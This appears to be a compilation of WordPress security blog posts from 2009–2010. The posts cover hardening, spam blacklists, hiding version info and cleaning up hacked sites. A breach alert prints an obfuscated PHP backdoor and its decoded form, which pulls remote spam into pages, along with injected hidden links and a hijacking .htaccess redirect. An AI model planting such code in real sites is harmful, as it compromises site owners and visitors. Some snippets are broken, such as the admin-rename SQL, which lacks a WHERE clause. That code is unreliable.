The book begins with some general information and then immediately gets into explaining everything you need to know. Throughout the book, John covers everything from backing up and upgrading to blocking bad queries and hiding sensitive information. Along the way, you will learn many tricks and techniques for securing your WordPress-powered site, including htaccess code, WordPress plugins, and much more.

Here are some of the highlights of WordPress Defender:

• Essential best practices
• Kick-ass security plugins
• Creating tripwires with htaccess
• How to hide sensitive information
• How to setup and connect with SSL

..and of course much more. WordPress Defender is WordPress security for the masses. Seriously, I think that just about everyone using WordPress will benefit from this book. Plus, John’s easy-going, laid-back writing style makes you feel right at home as he walks you through the many different ways of protecting your site. If you use WordPress and need to know more about how to protect your site against villains, you need to get WordPress Defender.

Special 50% discount on the e-book today through March 3rd!

Like the article? Get the book!

© 2010 Digging into WordPress | Permalink | One comment | Add to Delicious
Categorized: Security | Tagged: Links, Security

(Caution: the blacklist contains several instances of profanity in order to keep vile language out of your comments.)

Custom WordPress Comment Moderation Blacklist

The idea is simple: copy and paste this custom blacklist into the Comment Moderation field in your WordPress Admin area, which will look something like this:

The ‘Comment Moderation’ field in the WordPress ‘Discussion Settings’ Area

Here is the list, in all of its offensive pharmaceutical, gambling, sex-industry glory (see notes afterward for more information on usage and functionality):

д
и
ж
Ч
Б
. ,
? ,
[url=
[/url]
thx
sex
byob
nude
loan
debt
poze
bdsm
soma
visa
hotel
paxil
anime
naked
poker
coolhu
cialis
incest
casino
dating
payday
rental
ambien
holdem
cialis
adipex
booker
youtube
myspace
advicer
flowers
finance
freenet
-online
shemale
meridia
cumshot
trading
adderall
gambling
roulette
top-site
mortgage
pharmacy
dutyfree
ownsthis
duty-free
insurance
ringtones
insurance
blackjack
hair-loss
bllogspot
baccarrat
thorcarlson
jrcreations
credit card
macinstruct
hydrocodone
leading-site
slot-machine
carisoprodol
ottawavalleyag
cyclobenzaprine
discreetordering
aceteminophen
augmentation
enhancement
phentermine
doxycycline
citalopram
cephalaxin
vicoprofen
lorazepam
oxycontin
oxycodone
percocet
propecia
tramadol
propecia
percocet
cymbalta
lunestra
fioricet
lesbian
lexapro
valtrex
titties
xenical
meridia
levitra
vicodin
ephedra
lipitor
breast
cyclen
viagra
valium
hqtube
ultram
clomid
cyclen
vioxx
zolus
pussy
porno
xanax
bitch
penis
pills
male
porn
dick
cock
tits
fuck
shit
gay
ass
gdf
gds

As mentioned, to use this list, just copy/paste into your Comment Moderation field and you’re done. Along the way, you may find that additional terms are needed, or that certain terms need removed. Feel free to tweak according to the specific needs of your site. It’s all good :)

A couple of notes about this blacklist:

• The first five or so characters are effective at blocking 99% of nonsensical Russian spam.
• The period/comma entries block a recent rash of spam that included these particular strings.
• Most of the terms are highly specific to spam comments and should keep false positives at a minimum.
• Even so, it is recommended that this custom blacklist be used as a “Comment Moderation” list and not as a “Comment Blacklist” in order to retain your ability to screen for false positives.
• Additional terms are easily added by appending the list with the character string on its own line.
• It would be great to build this blacklist up a little further. If you have your own distinct collection of terms, let me know and I will add them to the list.

Any questions/comments/concerns welcome in the comments area.

Like the article? Get the book!

© 2010 Digging into WordPress | Permalink | 14 comments | Add to Delicious
Categorized: Security | Tagged: blacklist, comments, Security, spam

• They aren’t 100% sure the cause, but yes, it is their fault.
• About 10% of all (gs) users were affected.
• It’s not WordPress specific, it’s PHP specific.
• Definitely change your passwords, definitely don’t change it back to the original password.

A number of people (Michael Torbert, Kyle Brady, Jeffrey Barke, Adrian Hanft) are reporting that their Media Temple sites have been hacked. Digging Into WordPress is on a Media Temple (gs) and we got this email from them late last night:

Dear Valued Customer,

This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.

When trying to FTP into the site this morning, the access attempt was denied (wrong password), and then blocked. I had to log into the admin, unblock the IP, and reset the password to get in. In poking around a bit, it doesn’t look like Digging Into WordPress was affected. Thank god…

Some of the facts I’m seeing around:

• The attack is not specific to WordPress, although also affects WordPress (Some folks saying their Drupal sites have been hit, or sites just using plain old PHP)
• It may be a result of passwords being stored/sent in plain text
• Media Temple is mostly quiet on the issue but has been telling folks there has been a huge upsurge in attempted FTP connections to sites.
• Some folks are blaming Media Temple, others blaming WordPress

Files to check on your own sites

index.php

<!--5edfgh345--><?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>

Which evaluates to this:

$l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;

Links are being inserted into the page before the </html> tag:

<!– [6eb602d48b8b7f42aba0ce0c31ebe3f5 --><!-- 9190819521 --><noscript><ul><li><a href="http://rg8rhg34h34h.cc/c">.</a></li></ul></noscript><!-- 6eb602d48b8b7f42aba0ce0c31ebe3f5] –>

.htaccess

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4&parameter=sf [R,L]

.nfs* (unnamed file in root of server)

Fixing It

We weren’t victims of this attack so far, so please refer to the people linked above for more first-hand advice. However, changing passwords across the board, especially FTP passwords is a must. Also remove all the malicious code shown above from the files. If possible, a fresh WordPress install would probably be a good idea (backup your database and theme first!)

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 27 comments | Add to Delicious
Categorized: Security | Tagged: hacking, Links, spam

Step 1 – Setting up a secure database

Because the database is associated with virtually everything you do on your site, it is best to perform any modifications before configuring your options, installing plugins, and adding options. During the installation process, there are some effective ways of increasing the overall security of your WordPress site.

One of the first things that you can do to bolster security is to setup a proper database, user, and password. First, create the table that will be used for your WordPress installation:

CREATE DATABASE `wordpress`;

Now we need a user to go with that database. The key here is to create a user with only the required permissions. Enter the following SQL query to create a user that will have access only to the wordpress from the local server:

GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP ON wordpress.* TO 'wpuser'@'localhost'
IDENTIFIED BY 'password';

By requiring that the user access the database from the local server only, we mitigate the possibility of remote database attacks. Further, by granting the user access to only the wordpress database, we ensure that other databases will remain safe should an attacker gain access.

Once the database and user have been setup, install WordPress as normal and continue with the next step.

Step 2 – Setting up a secure configuration file

There are two things we want to do with the wp-config.php file: implement Authentication Unique Keys and change the default database prefix. Let’s do it..

Implement Authentication Unique Keys

Directly after your MySQL database credentials in the wp-config.php file, you have the option of specifying a set of Authentication Unique Keys. These keys improve WordPress’ authentication system, providing strong security to your site. It is highly recommended that you take advantage of this feature.

/**#@+
 * Authentication Unique Keys.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define('NONCE_KEY', 'put your unique phrase here');
/**#@-*/

To do so, visit the official secret-key generation service and paste the results into your config.php file (replace the four lines beginning with “define”).

While you are you setting up the WordPress configuration file, you also may want to go ahead and optimize performance and implement some other choice configuration tricks.

Change the default database table prefix

While in your wp-config.php file, take a few moments to change your default database table prefix. By default, it’s “wp_”, but this is a well-known fact of which attackers and automated scripts take full advantage. By changing the table prefix to something unknown/random, you are using security through obscurity to help mitigate SQL-injection threats.

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

In your wp-config.php file, locate the above lines and change the table prefix to something random or difficult to guess. I like to include the letters “wp” within the new prefix to help me identify tables specific to WordPress. For example, I might change it to something like, “wp_i337”.

Step 3 – Setting up a secure administration

Once you have finished with your database and configuration file, it’s time to setup a secure WordPress Admin area. We can do this by changing the default Admin username and protecting the wp-admin directory.

changing the default Admin username

By default, all WordPress installations have a default Admin username of, creatively enough, “admin”. As with the default database prefix, this fact is well-known to attackers, who target the admin account with password brute-force attacks. Thus, changing the username of your Admin account will help mitigate this potential vulnerability. To do so, execute the following SQL query on your WordPress database via phpMyAdmin:

UPDATE wp_users SET user_login = 'admin', user_login = 'digwp';

Your default Admin username is now changed to whatever you specified in the query. In this example, your new username will be “digwp”, so you will probably want to change it to something that is more difficult to guess.

Additionally, make sure that the password for the Admin account is as strong as possible. Use a random mix of uppercase and lowercase letters, and throw in a few underscores and numbers for good measure.
 

Protecting the wp-admin directory

All of the administrative files for your WordPress site are contained in the wp-admin directory. By protecting this directory against unauthorized access, we greatly strengthen the security of our site. Depending on your particular needs, there are at least two ways to go about doing this. Let’s look at each of them.

Allow open access only to specific addresses

This method uses a few choice HTAccess directives placed in your site’s root .htaccess file:

# SECURE WP-ADMIN
<FilesMatch "*.*">
 Order Deny,Allow
 Deny from all
 Allow from 123.456.789
</FilesMatch>

Once in place, this code will deny access to all visits from any IP address that is not listed. Simply edit the “Allow from” line with your actual address, and create additional lines for multiple IPs. You can then check that it’s working by visiting your Admin area via proxy service. This is an effective way of protecting your wp-admin directory, but you may prefer using a password-based method instead..

Password-protect

Another option for securing your Admin area involves implementing secondary password protection via basic HTTP authentication. This is an excellent way to lock things down while still enabling access by anyone with the password from anywhere on the Web. To set it up, we need to create a text file with your desired username/password, and then require the username and password via .htaccess file.

For the username/password text file, use a password-generation service and paste the results into a file named “.htpasswd” (without the quotes!) and place it in a secure location on your server, preferably above your “public_html” or root-web directory.

Once the password file is in place, create an .htaccess file for your wp-admin directory and add the following code:

# SECURE LOGIN PAGE
<IfModule mod_auth.c>
 AuthUserFile /full/path/.htpasswd
 AuthType Basic
 AuthName "Password Required!"
 Require username
</IfModule>

After editing the username and full server path to your password file, you’re good to go. Make sure to test that everything is working before cracking a beer.

Important note about protecting wp-admin

As you implement this method, keep in mind that the wp-admin directory is used by a number of plugins, scripts, and even users. For example, if you allow open registration to your visitors, they will be unable to access the registration pages if your admin directory is blocked. Another good example is the Subscribe to Comments plugin, which provides an admin page through which users may unsubscribe to comments. This ain’t gonna work if they can’t access the admin area.

Just the beginning..

Of course, when it comes to the security of your WordPress site, these techniques are merely the beginning. As you continue in your WordPress travels, you will discover many, many more ways to increase the security of your site. By implementing the methods presented in this article during the setup process, you will be strengthening the security of your site’s foundation, providing yourself a solid platform on which to build.

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 32 comments | Add to Delicious
Categorized: Security | Tagged: database, Security

Not even Akismet..

“Sure,” you are thinking, “you don’t need any plugins except for Akismet.” I mean, you definitely need that plugin, right? After all, it’s included with WordPress, so it’s got to be important. Umm, not so much. Yes, there are certain blogs that would probably be wise to take advantage of the additional spam-protection that Akismet might provide, but for 99% of the sites out there, it really isn’t necessary.

WordPress is strong enough..

I think one of the most underrated strengths of WordPress is its built-in anti-spam functionality. With an ounce of knowledge and a pound of forethought, you can configure your WordPress Discussion settings to act as a powerful and effective defense against the evil forces of spam. No plugins required! Let’s look at WordPress’ anti-spam tools and see why they’re all you need for a spam-free site..

Default article settings

First up, consider your default article settings. If comments aren’t enabled, of course you know that you don’t need Akismet or any other anti-spam plugin for that matter. If comments are enabled, you can cut out a significant portion of spam by simply disallowing pingbacks and trackbacks. By clicking a single checkbox, all of that crap that comes rolling in as trackback spam will stop. That’s a huge step right there, and it will eliminate every plugin that has anything to do with displaying or controlling ping/trackbacks.

Comment author must fill out name and e-mail

Another smart move, although I think most sites do this one already. By requiring your commentators to at least fill out these two fields (even if it is just dummy data most of the time), you brush off all of those lazy spammers who are picking up the easy ground fruit. Most legitimate commentators don’t mind filling in this info because they usually have something they want to say. Lazy spammers, not so much.

Users must be registered and logged in to comment

If possible given the specific goals of your site, requiring users to log in before commenting is an extremely effective way of preventing comment spam. Although requiring registration will stop a lot of legit comments as well, it is a powerful deterrent to lazy spammers and completely stops automated scripts. Sure, you may still get some trolls stinking up the place, but you would be getting those anyway. Plus, if they’re registered, it makes it easier to deal with them.

Automatically close comments on articles older than XX days

This is my favorite WordPress anti-spam feature. For a long time, we needed a plugin to get this done, but now that it is built into WordPress, everyone should be using it. Here at Digging into WordPress, we close comments on old posts after 90 days, which seems to be just about the right amount of time. Anything longer than that, and your posts begin to get targeted by spammers and automated spam scripts. Especially if your posts tend to do well and build up a lot of page rank, they will be prime targets for spam as time rolls on.

Break comments into pages with XX comments per page

This one’s not as obvious, but it is also a great way to reduce the incentive to spam your site. Spammers target strong pages for their junk, so by breaking your comments into pages of, say, 20 comments each, you get the best comments on the first page (the same page as the article), and then the typically declining-quality comments on subsequent non-ranking pages. Just make sure you are using meta canonical tags to keep the juice where it should be.

E-mail me whenever..

Unless your site is literally flooded with comments on every post, getting email alerts for new comments is an excellent way to kill any spam nonsense that gets through. I have done this at Perishable Press for four years now, and you would be hard-pressed to find even one spam comment anywhere on the site.

Before a comment appears an administrator must always approve the comment

This could get kind of labor-intensive, but it is a 100%-guaranteed way of completely eliminating spam without using any plugins whatsoever. Zero. Nada. Nil. If you are one of the many millions whose blog receives fairly few comments, this method will keep your comments squeaky clean.

Comment author must have a previously approved comment

A super-effective strategy that is not as labor-intensive as moderating all comments and not as restrictive as requiring registration. The idea here is that you get a chance to “meet” each one of your commentators and leave the door open only for the good guys. This technique drastically cuts back on human spam, and virtually eliminates automated spam (unless you don’t catch it the first time).

Hold a comment in the queue if it contains XX or more links

Lots of comment spam is just crawling with links. A few mindless words and then BAM — they drop in a few hundred links. Some of the more subtle spammers are less obvious, but still have to unload their payload somehow, so they usually integrate a couple of links within some not-so-carefully crafted text. You know what I’m talking about. You definitely want to moderate anything with more than like two or three links. This trick is great for catching some of the craftier spam maggots.

Comment Moderation Blacklist and Spam Blacklist

A finely tuned WordPress Blacklist list eliminates the need for many types of plugins, scripts, and third-party blacklists. Any words, characters, or IP addresses included in either the Moderation or Spam Blacklist will be used to innoculate your site against any matching comments. Granted, it takes a bit of persistence to build up a good list, but once you do, it is very difficult for spammers to get around it. Note that, unless you are absolutely sure, you should probably stick with the Moderation Blacklist (regular expressions are powerful things!).

All of these great anti-spam features are like having fifty plugins already built-in to WordPress. With them, you can configure a powerful anti-spam strategy for just about any type of site without any plugins — not even Akismet.

Why not just use a bunch of plugins instead?

Because you don’t have to. Plugins require maintenance, frequent updating, etc. Every upgrade of WordPress and/or your plugins opens the door to possible issues and conflicts. Further, plugins consume valuable server resources, affecting the performance and consistency of your site. In general, the fewer plugins you have, the easier and more efficient things are going to be. I guess my feeling is, try to take the “zen” approach as much as possible — if something isn’t absolutely necessary, don’t bother with it. More and more, I am realizing that anti-spam plugins simply aren’t needed to run an effective and spam-free site.

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 47 comments | Add to Delicious
Categorized: Plugins, Security | Tagged: comments, spam

What happens now?

By default, WordPress will prepend “Protected: ” to the title of the post, and replace the content area (and comments area) with a default message:

This post is password protected. To view it please enter your password below:

After the message, a form prompting the user to enter a password. It looks like this:

Shortcomings

Like we said above, what actually gets “protected” is the content of the post and the comments for the post. In the actual theme files, that boils down to:

• <?php the_content(); ?>
• <?php comments_template(); ?>

Anything else is not protected! This includes pulling and displaying custom fields for that Post. Theoretically, this makese sense, as WordPress works by functions, and cannot be expected to know what’s going on in every single custom theme. However, custom fields can potentially contain important information that you might want to be hidden via password protection.

Here is a little code snapshot from the single.php template right here on DiW:

– UPDATE –

The easiest possible way to password protect additional areas is with this simple function:

<?php
    if ( !post_password_required() ) { 
            echo 'protected stuff'; 
    }
?>

Thanks Jay!

The Password Form

This is the form code that gets generated for a password protected post:

<form method="post" action="http://digwp.com/wp-pass.php">
<p>This post is password protected. To view it please enter your password below:</p>
<p><label for="pwbox-531">Password:<br/>
<input type="password" size="20" id="pwbox-531" name="post_password"/></label><br/>
<input type="submit" value="Submit" name="Submit"/></p>
</form>

The ID’s values for you will be different, but that’s the gist of it. This is a bit of a tangent, but let’s say you want to style this form. Good luck, form itself nor the labels or inputs have any class names or ID’s that you can latch onto to style while not potentially affecting other forms.

I thought about the body_class function for a moment, thinking perhaps password protected posts at least get a class for this, but no dice.

I think this is a problem… WordPress should get us some hook here!

Hiding more!

Fair warning, this is a little hacky, as it’s going to rely on JavaScript, which is client side technology that can be turned off, rather than server side technology which cannot.

There is one thing that is unique in that password form code above (hence the tangent), that we can look for with JavaScript. The idea is this:

1. Look for password input
2. If it is present…
3. Hide other stuff.

We’ll use jQuery for this, because it makes it easy and that’s just how I roll. The example below is taken from a site I worked on recently where I was displaying an audio track with custom fields, which was displaying even when the post was protected.

if ( $('input[name="post_password"]').length > 0 ) {
    // hide stuff
    $(".audioplayer").hide();
}

Dealing with that Title

One of the other potential annoyances with password-protected posts is how it appends “Protected” to post titles. This isn’t an option, so removing it is a matter of adding a filter to the the_title function. Add this to the functions.php file:

function the_title_trim($title)
{
    $pattern[0] = '/Protected:/';
    $pattern[1] = '/Private:/';
    $replacement[0] = ''; // Enter some text to put in place of Protected:
    $replacement[1] = ''; // Enter some text to put in place of Private:
    
    return preg_replace($pattern, $replacement, $title);
}
add_filter('the_title', 'the_title_trim');

If it’s not obvious, this will also remove the “Private: ” from being appended to private post titles.

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 9 comments | Add to Delicious
Categorized: Security | Tagged: custom-fields, jquery, tricks

Don’t display your WordPress version number publicly
Many WordPress developers often display the WordPress version in the source code. But having this information publicly available makes it easy for attackers to exploit known vulnerabilities on a particular WordPress version.

This sort of thinking is referred to as “security through obscurity,” and may or may not be an effective way to increase the overall security of your site.

By default, WordPress executes the wp_generator() function whenever the wp_head() hook is called. Typically, this hook is located in your theme’s header.php file within the <head> section of the document markup:

The wp_head() hook as seen via the header.php file

Then, after WordPress processes your web page, the wp_generator() function outputs the following code (depending on page view) to your browser:

<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://digwp.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://digwp.com/wp-includes/wlwmanifest.xml" /> 
<link rel='index' title='Digging into WordPress' href='http://digwp.com/' />
<meta name="generator" content="WordPress 2.8.1" />

Notice that last line there? There are many posts on WordPress security that point out how specifying your version number is a security risk. Whether or not this is the case is certainly debatable, but the thinking is that you should avoid revealing this sensitive information in order to prevent attacks targeting specific versions of WordPress.

Now for the fun part. Assuming that sharing your version information is bad, how to go about removing the information? Well, that depends on how savvy you are with WordPress. Here are several methods to prevent WordPress from displaying your version-specific number, ranked in order from the absolute worst way to the absolute right way. That is, until someone shows us how to do it in less than 41 characters ;)

The absolute worst way to remove the WordPress version number

I have seen recent posts where the author actually recommends deleting the wp_head() hook! Here is an example:

Study what things this function outputs for you, and just hardcode them into your theme files since these values will unlikely change.

While there are indeed valid reasons for removing this important WordPress hook, removing the version number from your source code is not one of them.

A pretty good way to remove the WordPress version number

Much better than simply deleting the wp_head() hook, this method serves us well by placing the version-removal function in the theme’s functions.php file, where it belongs. By returning an empty string for the_generator function, this function removes the version information by preventing output of its <meta> tag:

function remove_version_info() {
     return '';
}
add_filter('the_generator', 'remove_version_info');

This method has the added bonus of removing the version information from not only your blog pages, but from your feeds as well.

The right way to remove the WordPress version number

Going a step beyond the previous method, this technique gets the job done quite eloquently, with a mere 41 characters of code:

remove_action('wp_head', 'wp_generator');

Just place that single line into your theme’s functions.php and enjoy a small taste of “security through obscurity”. :)

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 30 comments | Add to Delicious
Categorized: Security | Tagged: functions, header, PHP

The mobile version of my site was built by Mobify, so I contacted them right away. As I should of known, of course Mobify can’t insert content into a site, they only are a presentation layer on top of the already existing content. They were very quick and helpful with their response and sent me some useful links to what the problem might be.

This of course meant that the site itself was hacked. Time is of the essence at this point, because not only do I not want my visitors seeing nasty spam, I don’t want Google bot to cruise through and see the mess and hurt my SEO. I immediately set out to figure out where these spam links were being inserted from.

I had this happen to me years ago and it turned out the theme files themselves were altered and spam injected that way. I took a look through all of them quickly and didn’t see anything. I could see from the source on the site that the links were being inserted after the content on each post. I could also see at this point that the links were identical on each post. This seemed like a theme file injection to me, but clearly it wasn’t.

I popped open the WordPress Admin itself and checked out a post. Low and behold, there the links were, right in the content for each post. I checked out a number of them, new and old, and there were all the same. At this point, there were two possibilities. The Admin was compromised giving someone access in there and the ability to edit posts or the Database itself was compromised.

Due to the speed of the attack, the fact that all the links were the same, and that over 500 Posts/Pages were identically altered, I concluded it must have been a database attack.

Here is what I did:

1. I changed the Admin username and password. Just to make sure that the Admin itself was secure, this login and password must be changed. Since you cannot change usernames after they are created, I created a new account with a new password, logged in with that, and deleted the original account, attributing all posts to the new account.
2. I changed the server admins username and password. My site is managed by Plesk, which has a login and password to itself. If someone had access to this, they could access the Database. It is unlikely this was compromised, but to cover all the bases, this was changed as well.
3. The database name, database username, and database password was changed. Changing the database password might have been enough, but just to be as difficult as possible I changed both the username and the password. The database name was changed later after the cleanup (see below).
4. I changed the FTP login and password. If the hacker had this, they could have altered the theme files or opened the wp-config.php file to find the database credentials.
5. The XMLRPC file was removed. This file is used for pingback and trackbacks as well as remote editing possibilities like posting by email. I literally use none of these things, and this file has been responsible for security problems in the past, so I removed it.
6. The file permissions where checked. In particular, I found the wp-config.php file was set at 775, I changed it to 755. I also made sure that none of the file were world writeable except the very few that need to be, like the uploads folder.

What the spam insertion looked like

<div style=\"\\64\\69\\73\\70\\6c\\61\\79:\\6e\\6f\\6e\\65\">
<a href=\"http://www.fcit.usf.edu/li/viagra.html\">viagra</a>\r\n<a href=\"http://www.fcit.usf.edu/li/free-viagra.html\">free viagra</a>\r\n

... lots more ...

</div>

That “style” attribute (inline CSS), when rendered in a typical browser, converted to display: none; and thus were not visible. For whatever reason, when Mobify picked up this content, that weird string of characters wasn’t converted and thus the div was visible not hidden.

The reason I’m sure the hackers chose this technique is that the blog owner may never realize the links were inserted because they aren’t typically visible. I would think that Google doesn’t give any link credit to links that are in a container with display: none, but perhaps the hacker’s theory is that the google bot won’t be able to tell this div is hidden because of the weird code.

I would be interested to know if Google can be duped with this technique. It seems like they would be smart enough to detect it, yet I wouldn’t be surprised if the site is penalized anyway due to being compromised by spam.

How I Removed the Links

Luckily the code that was inserted in every single Post/Page was identical. I downloaded a fresh copy of the Database (as a .SQL file), opened it up in TextMate (any text editor with find/replace will do) and did a find/replace on the block of spammy code (replaced it with nothing). Then I saved a new copy of it and created a new database on the server (hence the change in DB name). I imported the new fixed SQL file and posted WordPress at the new database.

Crossing My Fingers

It’s been a week now, and no more problems. I pray that what I have done has fixed whatever the hole was, but of course I can’t be 100% certain because I’m not 100% certain what it was to begin with. Of course, posting all this information surely doesn’t make me any more secure but oh well. I of course have serious backups going on so the worst thing that can happen is I get hacked again and have to restore from backups and keep plugging holes.

Consequences

Although the spam wasn’t on my site for more than a few hours, someone has pointed out to me that my Google PageRank for the homepage has dropped from a reasonable and healthy PR 6 to ZERO. While PageRank is a very weird thing and it could be any number of things including a random inaccurate report from Google, it seems more likely this is a penalization from them for the spam. Many of my subpages, which get crawled far less frequently, still have their PageRank. It’s not just the PageRank, many searches that would have brought up the homepage (e.g. my own name) are now far down the SERP pages when they used to be #1. This of course will be seriously affecting my traffic until my PageRank is restored, if it ever is.

CSS-Tricks, is non-trivial portion of my income, and if there is a serious dip in traffic it could certainly affect me financially. I’m not whining, it just goes to show that site security is not some abstract nerdy hobby, it’s serious business that can have serious consequences.

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 29 comments | Add to Delicious
Categorized: Security | Tagged: database, hacking, spam

<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://digwp.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://digwp.com/wp-includes/wlwmanifest.xml" /> 
<link rel='index' title='Digging into WordPress' href='http://digwp.com/' />
<meta name="generator" content="WordPress 2.8" />

As you can see, lots of stuff is added, including feed links, XML-RPC and WLW links, and a couple of other items. While there is plenty to discuss with all of these inclusions, here we are concerned primarily with the link to the xmlrpc.php file. WordPress includes this link for its XML-RPC interface, which enables remote software applications to communicate and interact with WordPress.

What does the xmlrpc.php file do? Do I need it?

While documentation on WordPress’ XML-RPC is fairly thin, we can glean a partial understanding of how the xmlrpc.php works by stepping through the code in the file itself. Don’t worry, we’re not going to bore you with that here, but suffice it to say that the xmlrpc.php is required for the following types of activity:

• Posting directly to your blog using TextMate, Flock, and other weblog clients
• Posting directly to your blog using Eudora, Thunderbird, and other email apps
• Receiving pingbacks and trackbacks to your site from other blogs

Not everyone uses the remote-posting functionality available to them in WordPress, but I think that many blogs are definitely using the XML-RPC protocol for the pingback and trackback functionality.

Does the xmlrpc.php file pose a security risk?

Some of you may remember the security risk associated with the xmlrpc.php script back in the good ‘ol days of WordPress 2.1.2, whereby:

WordPress could allow a remote authenticated attacker to bypass security restrictions, caused by improper validation by the xmlrpc.php script. A remote attacker with contributor permissions could exploit this vulnerability to publish posts to the Web site.

This vulnerability was promptly eliminated in version 2.1.3, but shortly thereafter (in version 2.3.1) another security issue was discovered when the XML-RPC implementation was found to leak information. Although this was fixed in version 2.3.2, the security concerns associated with the XML-RPC protocol eventually led the WordPress devs to disable remote access by default in version 2.6 ³. The xmlrpc.php file is still included in the document <head> (presumably for the sake of pingbacks and trackbacks), but the remote-access functionality is non-operational until explicitly enabled ³.

Security tips for your site’s xmlrpc.php file

At the time of this writing, there are no known vulnerabilities associated with WordPress’ XML-RPC protocol. Even so, there have been security issues with the xmlrpc.php script in the past, and there could certainly exist new problems both now and in the future. Just to be on the safe side, here are a few different strategies and tips to help ensure maximum security for your blog.

If you don’t need it, delete it
Perhaps the safest way to eliminate potential security vulnerabilities is to simply remove the script in question. If you have no need for remote-posting, pingbacks or trackbacks, it may be easiest to simply remove the xmlrpc.php file from your server. Instead of actually deleting it, you may just want to rename it something unguessable. Either way, if the script isn’t available to an attacker, it makes it hard to exploit.

Update: If you remove (or rename) the xmlrpc.php file from your WordPress installation, you should also implement the function described in the next section to avoid an avalanche of 404 errors (see this comment for further explanation).

Remove the links to xmlrpc.php and wlwmanifest.xml
Alternately, if you aren’t needing any remote-access or pingback functionality, you may prefer to simply remove the associated header links rather than deleting any core files from your server. This is easily accomplished with the following function placed in your active theme’s functions.php file:

function removeHeadLinks() {
	remove_action('wp_head', 'rsd_link');
	remove_action('wp_head', 'wlwmanifest_link');
}
add_action('init', 'removeHeadLinks');

This will prevent these two files from being linked to in the header, but the files themselves will remain available on your server. Definitely make sure that the default disabling of remote publishing in effect if you implement this method.

Disable the remote-publishing functionality
If you don’t remote-publish, but you still want to receive pingbacks and trackbacks, take WordPress’ advice and just leave the remote-access functionality disabled by default. This step alone seems like a tremendous way to help tighten down your blog’s security. The file will still be available on your server, but attackers will be able to do much less with it.

Prevent malicious xmlrpc.php directory scanning
For those of you who wisely keep an eye on your server access and error logs, you have likely seen a recent surge in the amount of malicious xmlrpc.php directory scanning. For whatever reason, the bad guys are suddenly very interested in xmlrpc.php files, and are scanning every directory they can get their bots on trying to locate them. I have seen tons of this kind of activity lately:

http://domain.tld/2009/xmlrpc.php
http://domain.tld/2009/06/xmlrpc.php
http://domain.tld/2009/06/01/xmlrpc.php
http://domain.tld/2009/06/01/permalink/xmlrpc.php
http://domain.tld/2009/06/02/permalink/xmlrpc.php
http://domain.tld/2009/06/03/permalink/xmlrpc.php
.
.
.

Whether the attackers locate their target or not, this kind of behavior drains system resources, hogs bandwidth, and prevents your site from operating at maximum capacity. Thus, to prevent this malicious behavior from damaging your site, I have devised the following HTAccess solution:

<IfModule mod_alias.c>
RedirectMatch 301 /(.*)/xmlrpc\.php$ http://domain.tld/xmlrpc.php
</IfModule>

When placed in the web-accessible root HTAccess file for your site, this simple directive will redirect all requests for your blog’s xmlrpc.php file to the actual file. I have been using this method for several weeks now at Perishable Press and have eliminated thousands of misdirected requests because of it.

Leave the xmlrpc.php file but prevent access to it
Last but not least is a simple method enabling you to leave the file in place on your server but prevent access to it. Perfect if you don’t need the script and want to be as lazy as possible about keeping it secure (think no maintenance). Simply paste the following code into your root HTAccess file and be done with it:

<IfModule mod_alias.c>
RedirectMatch 403 /(.*)/xmlrpc\.php$
</IfModule>

¹ Or anywhere the wp_head() hook is located.
² Working with WordPress version 2.8 at the time of this writing.
³ To enable this feature, go to “Settings > Writing > Remote Publishing” in the WP Admin

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 17 comments | Add to Delicious
Categorized: Security | Tagged: header, Security, tips